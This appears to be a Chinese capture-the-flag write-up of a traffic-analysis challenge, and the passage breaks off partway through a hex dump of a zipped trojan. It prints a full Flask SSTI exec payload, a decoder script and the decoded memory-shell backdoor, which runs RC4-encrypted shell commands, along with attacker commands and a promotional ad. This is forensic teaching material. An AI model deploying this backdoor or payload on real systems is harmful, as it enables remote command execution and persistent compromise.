2025CISCN流量分析全复盘与技法总结
0.前言
一直以来都想写个流量分析的做题总结,总结一些思路和方法,但找不到好的例题,刚好国赛这道流量分析就挺适合的
题目内容
近期发现公司网络出口出现了异常的通信,现需要通过分析出口流量包,对失陷服务器进行定位。现在需要你从网络攻击数据包中找出漏洞攻击的会话,分析会话编写exp或数据包重放,查找服务器上安装的后门木马,然后分析木马外联地址和通信密钥以及木马启动项位置。
1.SnakeBackdoor-1
攻击者爆破成功的后台密码是什么?,结果提交形式:flag{xxxxxxxxx}
直接筛选出http流量

并找到最后一个login,右键追踪一下,就看到后台密码了

flag{zxcvbnm123}
2.SnakeBackdoor-2
攻击者通过漏洞利用获取Flask应用的 `SECRET_KEY` 是什么,结果提交形式:flag{xxxxxxxxxx}
模糊查询,直接找到这个关键字“SECRET_KEY"
http contains "SECRET_KEY"

右键进行一个追踪,并查询关键字SECRET_KEY

这段流量是 Flask 框架应用配置对象 的完整序列化输出,攻击者通过 SSTI(服务端模板注入) 漏洞成功读取了内存中的敏感变量
-
内容:'SECRET_KEY': 'c6242af0-6891-4510-8432-e1cdf051f160'
-
安全意义:这是 Flask 应用最核心的安全凭证
-
一般用来:Session 签名,也就是Flask 默认将 Session 存储在客户端 Cookie 中,并使用此 Key 进行 HMAC 签名,一旦泄露,攻击者可以使用工具,比如说 flask-unsign伪造任意用户的 Session,例如将 user_id 改为 1 或 admin,从而实现越权登录,甚至在某些配置下导致 RCE
所以对应的flag{c6242af0-6891-4510-8432-e1cdf051f160}
3.SnakeBackdoor-3
攻击者植入的木马使用了加密算法来隐藏通讯内容。请分析注入Payload,给出该加密算法使用的密钥字符串(Key) ,结果提交形式:flag{xxxxxxxx}
继续往后翻,会发现1789流有异常

为什么说这段流量是可疑的?
-
首先,内容以 {{ ... }} 包裹,正常的“预览预览”功能应该只处理纯文本或简单的 HTML,而这里提交的是 Jinja2 模板执行代码
-
其次,它有危险函数的调用,载荷中出现了
url_for.__globals__['__builtins__']['exec']-
globals,我们都知道它是试图访问 Python 的全局命名空间
-
exec,这又是 Python 最危险的函数,能将字符串当作代码执行,基本上任何在流量中看到的 exec 基本上都是 RCE 的标志
-
-
接着,它里面还嵌套了 base64.b64decode、zlib.decompress 以及 [::-1]等一大堆乱七八糟的东西,正常的业务请求绝不会将代码进行压缩、反转再发送
-
最后,一个简单的“Hello World”预览请求通常只有几十个字节,但这个请求的 Content-Length 达到了 4602 字节,说明其中隐藏了复杂的逻辑脚本
判断好之后,我们就要分析这段内容是什么了
首先是SSTI 注入层,使用 {{url_for.__globals__['__builtins__']['exec'](代码, 上下文)}},这是利用了 Flask 的模板注入漏洞来调用 Python 的内置 exec 函数
其次,Base64 编码层(外壳)exec(base64.b64decode('XyA9IGxh...'))这段 Base64 解码后是_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1])); exec((_)(b'=c4CU3xP...'))这定义了一个解密函数 _:反转字符串 -> Base64 解码 -> Zlib 解压
_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));
exec((_)(b'=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'))
接着,反转 + Zlib 压缩层攻击者将真正的恶意代码,也就是上述那段以 =c4CU3xP 开头的巨大字符串,进行了 Zlib 压缩,并做了字符反转,最后再 Base64 编码
最后注意 Payload 末尾:{'request':..., 'app':get_flashed_messages.globals['current_app']},攻击者将 Flask 的 app 对象传入了执行环境。这意味着恶意代码可以直接读取 app.config
所以exp.py
import base64
import zlib
import re
from typing import Tuple, Optional
class PayloadDecoder:
def __init__(self, max_layers: int = 200):
self.max_layers = max_layers
self.pattern = r"exec\(\(_\)\(b'([^']+)'\)\)"
def _reverse_bytes(self, data: bytes) -> bytes:
return data[::-1]
def _base64_decode(self, data: bytes) -> bytes:
return base64.b64decode(data)
def _zlib_decompress(self, data: bytes) -> bytes:
return zlib.decompress(data)
def _extract_nested_payload(self, text: str) -> Optional[str]:
match = re.search(self.pattern, text)
return match.group(1) if match else None
def decode_blob(self, encoded: bytes) -> bytes:
reversed_data = self._reverse_bytes(encoded)
decoded = self._base64_decode(reversed_data)
decompressed = self._zlib_decompress(decoded)
return decompressed
def process_payload(self, payload: bytes) -> Tuple[int, bytes]:
current = self.decode_blob(payload)
layer_count = 1
while layer_count < self.max_layers:
try:
text_content = current.decode('utf-8')
except UnicodeDecodeError:
text_content = current.decode('utf-8', errors='replace')
extracted = self._extract_nested_payload(text_content)
if extracted is None:
break
current = self.decode_blob(extracted.encode())
layer_count += 1
return layer_count, current
def execute():
encoded_payload = b'=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'
decoder = PayloadDecoder()
layers, content = decoder.process_payload(encoded_payload)
print(layers)
print(content.decode('utf-8', errors='replace'))
if __name__ == '__main__':
execute()
跑出来源代码

可以看到复原出来的源代码RC4的密钥是v1p3r_5tr1k3_k3y,所以flag{v1p3r_5tr1k3_k3y}
4.SnakeBackdoor-4
攻击者上传了一个二进制后门,请写出木马进程执行的本体文件的名称,结果提交形式:flag{xxxxx},仅写文件名不加路径
我们来分析上一题我们得到的shell代码
global exc_class
global code
import os,binascii
exc_class, code = app._get_exc_class_and_code(404)
RC4_SECRET = b'v1p3r_5tr1k3_k3y'
def rc4_crypt(data: bytes, key: bytes) -> bytes:
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
i = j = 0
res = bytearray()
for char in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
res.append(char ^ S[(S[i] + S[j]) % 256])
return bytes(res)
def backdoor_handler():
if request.headers.get('X-Token-Auth') != '3011aa21232beb7504432bfa90d32779':
return "Error"
enc_hex_cmd = request.form.get('data')
if not enc_hex_cmd:
return ""
try:
enc_cmd = binascii.unhexlify(enc_hex_cmd)
cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode('utf-8', errors='ignore')
output_bytes = getattr(os, 'popen')(cmd).read().encode('utf-8', errors='ignore')
enc_output = rc4_crypt(output_bytes, RC4_SECRET)
return binascii.hexlify(enc_output).decode()
except:
return "Error"
app.error_handler_spec[None][code][exc_class]=lambda error: backdoor_handler()
这段代码是一个典型的Python 内存马,它被挂载在 Flask 等框架的 404 错误处理句柄上
要找到攻击者上传的二进制后门文件名,从流量分析入手,利用这段代码提供的加密逻辑进行解密
【----帮助网安学习,以下所有学习资料免费领!加vx:YJ-2021-1,备注 “博客园” 获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
HTTP 请求头中包含 X-Token-Auth: 3011aa21232beb7504432bfa90d32779,攻击命令通过 POST 参数 data 传递,数据格式为十六进制字符串
采用了 RC4 算法,关键密钥:v1p3r_5tr1k3_k3y,解密后的命令通过 os.popen(cmd) 执行,结果再次 RC4 加密并以 Hex 形式返回
那我们可以在 Wireshark 或流量分析工具中,筛选出符合以下特征的流量:
http contains "X-Token-Auth"

找到那些 POST 请求,复制 data 参数后面的十六进制字符串,带入到以下脚本一个个去试
import binascii
def rc4_crypt(data: bytes, key: bytes) -> bytes:
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
i = j = 0
res = bytearray()
for char in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
res.append(char ^ S[(S[i] + S[j]) % 256])
return bytes(res)
SECRET = b'v1p3r_5tr1k3_k3y'
# data 字符串填在这里
enc_hex_cmd = "这里填流量包里的hex字符串"
enc_cmd = binascii.unhexlify(enc_hex_cmd)
cmd = rc4_crypt(enc_cmd, SECRET).decode('utf-8', errors='ignore')
print(f"Decrypted Command: {cmd}")
解密 1814 流的 Data:
-
Payload: bab6694ba3c9...
-
解密结果: unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip
-
性质判定:这是一个系统命令,调用系统自带的 unzip 工具,它是在准备环境,不是在运行木马本体
解密 1817 流的 Data:
-
Payload: a2ae330da7846599188b26257a88f10b50790cb47e6a97177e1053c351
-
解密结果: mv /tmp/shell /tmp/python3.13
-
性质判定:
-
这里出现了一个绝对路径 /tmp/python3.13
-
它不是系统自带命令,Linux 并没有 python3.13 这个原生标准路径,且系统本身运行的是 3.12
-
定性:这行命令的作用是启动一个特定的二进制文件并让它持续驻留,这完全符合执行木马本体的行为定义
-

flag{python3.13}
5.SnakeBackdoor-5
请提取驻留的木马本体文件,通过逆向分析找出木马样本通信使用的加密密钥(hex,小写字母),结果提交形式:flag{[0-9a-f]+}
根据上题,1813流是在解压,所以可以提取流量包中传输的123.zip,所以往前翻,翻到1807流

PK开头就是有.zip压缩包了,显示选择为原始数据

将504b开头那些东西都复制下来保存到.txt文件内,通过以下脚本进行一个提取
import binascii
#那段长十六进制字符串
hex_data = "504b03041400090008002431955be01c1a3483100000f838000005001c007368656c6c555409000354d547695ad5476975780b000104000000000400000000b513d2ddc97797c8b164bf85a8cfb6162732440e1431884df99aae322636568e2824d8eadc31815e8d6b5dda1fc3d6ee45e91146de5248d321d8b87c65e27269dddb8aa41496c9acfec533833226e162c40d9404b301751a6cca6a52adea3f175b4b0f2c11989600b9fc2c8a007e393962dc264416f07e3232ca03fd484421c638aa6079b54493a1c10e86de01a10ab08fbf7bbb2b5232b139dbec9e22312e3ecd22f5f1e6eed431dad7a8ec8e5938dedca24c38f4d2df50d34a88c5d6e51f156612f990f0a30c8aac7e91e6ab68ec994d332fd9392f47b3d513d684a913dfb2be73216fe3a1314cb4cfb6746bd1061198731e792596c74dc7c81caa67e136aa9838e6d8def8a79329971d934425be0202850e19571f340229e64d186e570fdb6da66531d7e9adb508a8f28442c42a711bb950c9952aa3b4c20ba46bb7bbfe024268e068c9a93ce45c6764b8d879ea1460271c73b29ea5dc8b79251ff941302e2f6060c851074e631cd489d1978c83cc85d01c4111d78cc99985f6231c406694d33d94759667346d566d97f5e31c6f6694e017927bbacd853ca588276a105eab80e9eb7b039c4cfb7c1a023cb9686cd4a28d977bb09e14dc5a53cf3c0247abbf8a120050ea28b2a25779a997e5b738c4fe6f6b39d7d3a7b926be1c727f43971c7116b9fb7dbbfa2770b7aa250cf5c7764c1756ad7bfbe3fc838ad20c6dc7aa9ad7a60cc4c5c988fcb1ad7b2d93719855c155908db4f19e5725c1f7052ae9e226e46e716501b49599648a8492eb1e7f8e340ea7c0127affc890c359284a61a7ad7159f591afdae771c6ee6d82b4a1c3c8bdcb6fd42649ba37a41e3f20c8d7f70c1166161884a5e74cf5b4991992310fcadd61c599884b8d982809bc6bb776236c10642f9fa0b513b731431c269853bebbd9920468397c3f0d7587f05500550bf7096e054b3e541006d22620d73d0fc018eb760042878362eb1fd7090157a6713774fa5fdf5b5e6cc11cf945427121029e9ba66f7b1f3e93832d1434687c720f6ab52d1f979d590eaf6ade5ee8685259afc823ca12a6382bd3bd46e674f9914cf1a4e4c4ee3d6699fbdb28934aa1de1a33d5a9a9c65d74314d8e9c667f01e881b58757897486b66ee3ccbb114bf61a652115660b3b65f08da901554c63e9fdceca137b1c3161c2a27bec3b3d3ced97630c980611f8ea13611a3a8520e6b9dc430ca91f60aa65ac52355fbff0ccbbef479e60f3d217be6ca580b4f9fa315b681467cb1dc3348a23889685e0274fd5f16cc153d0dfe862fa54feea077eaf8a10a0d13aa54dbfde88d689bfae3f716d303f14d08139fe3d6528e2aad3fa28f3d4ce91b54e3589bfe4f73c73e7ec963fb4265104e5393fa1ad407bc4aea65c75dd83787e2b782ad0587032730a860d15054ce554645ce2e8fda849adc619b2c09242f420befebf279bb3c1e8716e431cf2b89caa849e76c3cddf20944c43731aee2ae257292704589ee9d93654b72d4ee4daf95f0c58ac33cf2d7d5a9123f6cdab29475465c6c4643adc7eb9301f3f30048463a2c11f7c7efd30eac836ec8a62690f24d010af11974f58b66467cc7f3294ceccb0496b381ed3774dac4642b6ecd3b05214cfd67756c8f90c5380f61fba3a0be60c723e0b9a8a1ab291f214b06410dd834f0326d2961cdf1a8906807d8e82492ad63151f2a18dd5d527b151b5e7219d824c8c7b18de38d0ca7117a321f689ed9cf00b90f37cf42fcc34327fd6763b95a33cfcdd941cfe3fd5fd1a7b6a164135ba5b9e015902315c93d73ade804c42a6b3c7f1f6d76141397f6867167edca1d2ae3de618647d7e283554df51accd77418644087f8a0d1d6bd37e30f9c387e5c86c747e483b1bac9bdfeef360c59ba2cc8c31b5e58b30e004ebddd26ade10fbc0c27c1e8b883c72a92a7645a2910a79f665f4b106e9188a14436c567f51ea48f94ff2283f9cc1f13aeb55e25e6c517bf41073f3cf610c2119f065eb0d29982b3d81b5af4dc84a11d17c7b328ad83253c3d4d099674bc5632b8e4d79188268e420171b51b789491c82d4fb543bee92182a0287a61797d99e034bcb8ce72942884fef00fed929747e526d463e66961e48e9ea66048d8b42f7bedd5fc9c80c7fbe09c1a1c0d84111d71f34bef352287345bad7e417c8a3c43b8582f6410fe2091feb73548ee05a9eebde8b310817cdeade38a5736161bfc8f9453f7cc80a2f2dbf5ac2c83f489424719276bcd7b238249157cb40d2715dc46b3f7acc1520148ee03430c2a7da27e3d4d204178cb4ba2d378e2fe8aaea895251de970cda7dfa00aaef5eaa2f2673663d880983d9fa6cdf6aeeeba99bb1b2bf774a9685b13b8aec015e1782e31c5582125445c1f3b314912e93c6677be910ae19b3c4237c417beafb7acd13c85fde3f2d517c00e302f7bfc60bb967b4f4e00e6f53ca2a3125b7b260e5cb311f41449ce394a7c164830836b516d246c1afaf7c0c39c082e7a8d2ee66374b7d8c37db77f634c22025fad64a6df59d41ce4c5191517b821c5e7e2238e92948f10f17088935d976e2ed1986eef61bc0c481c5f4dfc4e809dd642712290ae75e80454e132e1051e4fe1554ef49ec33afbfc978e3c72b7b1f7c494bec23d342a8821f1eb5d9749d82d37d8de9bd33bdc81fdcee09bd532b0a131711126c47e90e32ea3cbdfe594717e05983b50df59150d7e5a15cd618a9866ec18aee3262f3b5bebd30b459c004d30bfcb0f360b7d352169e647a7c287db39b79fc4ceae70b2cf8c7658868a2c62aecd65e525b4e0dc3de33940691361bbb905d0eddd67f40f09170c314206b5c6504edbaaa92bb41495d8422b546de33415234f282a60121ff6621a3574e693c7525893bc55f2017c117ae699b315e98f48729229b55ee72d7ef1e3e81a82369796e95aa2a6bd1c04dd69ec76748564859f3226d8291782d7f39120da7cd4f84c75db5530bb4ff9ec55404d68061ede3bc81409f56f1306b9aa5da184ec4c1d88d89663a4777a359a4dcec516243950cefb912563a81b916f719c4b70b3ae5147fbaf0abb87b799f17fca39564b12f9ec1e14c7f1a24e0893fcbeb864bef56f72b9801867ac327d4e9df67e044a60c0c44eac4db6589e1937762925328debd3ee0033a7e7e28e82248b07f263a1a8fdce1c72ecff1b814977edc5ca76bffb7fc22207c856a018891127ad857548e25398cfa997ff603eb5ae6be0edc690614cf183d6a19310bfc9de10f3b2ec0aba9448127360baf508d8fe1a661e819ad96028bdd1fd88350571fb522993c23aa6af907ab063cc27b3e9ce1edc9d8126bebf17182ec066d65e0801f026485100c66b14b26876570d1ef4b61bb3d2c0bd137d6744e092ede9bfd2f532993cdd8bdadeb4a237cbaae27f57d10e81ef26dfe81a8df41c5f5e5e6170a1212dcd4bf162dbf51e0d89b5929a7a852f762407591bca0ffde5aaa876ec030686080581a88813430800e0b35cf8583c0587184a81eadac8ba97fc3690718667154eeb64faf290a4b302bd782acd35e86675ea0560f42980596bd4357592b4c8328c08fe06a07ffe40d823ca76de71c667e1f687985bfe1a8516a634f3a2329e2037dd74a6044e0fc4a35f29e50b0fd9910fa26a2aa6608166b4e105587fb1ec7152f4e31dae57392978512d263c6ab623df7258df18e5b961f0637d5f1cccad010595c7e9d26c0f46f5ab7565c207dcfd89eecacad59f819fa93a4ed7025b035c2c3c42116c455615612bbc05c29540ffeae786afad4417948fffa8723489716aaf2f133c3b34de35e82901e9748046c9367f8ec30153982981a8e0e3ac1e6774dcd7c93219216bcad1a367452bdd5e672df506b185a3181c51cab3d2e6066f68fbea7e7f8a9cf4b9fae41bb0331fc06a1311f02feda19fe6e2b06bc22f700da588677f6d2c4b8e82502198e5113a6c7ed984b82a97e5639e2e2ef3aaf24ba348f33ada85f25ef7523a45918150589fc61b93183f18c99656711a2c75baaa0b9eaceb21b576a1276d3a4f807dabbf51d25d464f6228e93dc1b96a10bf3342ef268b85fbfd816aa9c61180ed7ef55b2d0738a4ddaf76b02b381e8f339030d53d64344772c56a251331eefeee7edd4bb28ad7e6687f724354c45b7266072c2e3da8939bf34fbebfd0de204033088205c4c671584a9979ab628fd2dc4d7ab8d57a25bd9b064018f000fd21b4023ac94736bef5701505e2ea75e0670931a325b296f3447787268ce000a45c43fa79b873828d5c0cfbf8403f0e3ae320d025552f090d6e4460930c35726f97a7d8505ef88dbf3248f3944b9e00e60d77b7537555221a7d8b9f20ceafe369ac7519cdc8fcaad00d63ffd58e624cb1e3a2fde7870faf58e4c25ac3fa548b742749389f3417df80abdd2dd66bebe976f03e3e1cd08a19e2cdd86e3d4bd7230b208ea7b482b226c9f47011cff59a765ab7a1c52b7e62f4b88b080ce688714ea00bcd4c5e603c7a2e73eed1795d8958bc16e9457020585d46c2c210d407caca8925746ba8a9dc67903a86c5e883ecf0a4103b5f742bb7275e60a1ae326349f73c9754fe78e1fa2012c9ffd04a6b6a2019e6aff4e1195441630f1d7b919922ed16fc7a06dd08c7df59c9729af49fd5f325af9712a982c5b2d499e3efd1fdb37d2df4977a0786debc7dee8082406ea3474b840742f53b51ef2c8197a4033ae04f5ee3652e6eeb1c33943e3748f16b12bf20de2c983fb7bee1ad6801e867f3da272364b21653b460effcb